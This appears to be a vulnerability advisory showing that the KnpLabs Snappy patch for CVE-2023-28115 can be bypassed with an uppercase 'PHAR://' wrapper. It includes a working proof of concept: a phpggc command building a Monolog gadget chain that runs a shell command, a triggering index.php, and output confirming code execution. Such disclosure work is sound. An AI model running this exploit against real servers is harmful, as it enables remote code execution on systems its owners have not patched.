PHAR deserialization (CVE-2023-28115 patch bypass)

The following patch was committed on the 1.4.2 release to fix CVE-2023-28115.

If the user is able to control the second parameter of the generateFromHtml() function of Snappy, it will then be passed as the $filename parameter in the prepareOutput() function. In the original vulnerability, a file name with a phar:// wrapper could be sent to the fileExists() function, equivalent to the file_exists() PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.

To fix this issue, the string is now passed to the strpos() function and if it starts with phar://, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using PHAR:// instead of phar://.

To illustrate the vulnerability, the /tmp/exploit file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using phpggc with the -f option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.

$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar

The following index.php file will be used to trigger the vulnerability via the payload PHAR://exploit.phar.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');

Finally, once executed the /tmp/exploit file is successfully created on the filesystem.

$ php index.php 
Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634
Stack trace:
#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)
#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)
#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)
#3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')
#4 {main}
  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634
  
$ ls -l /tmp/exploit
-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit

This proof of concept is based on the original one published with CVE-2023-28115.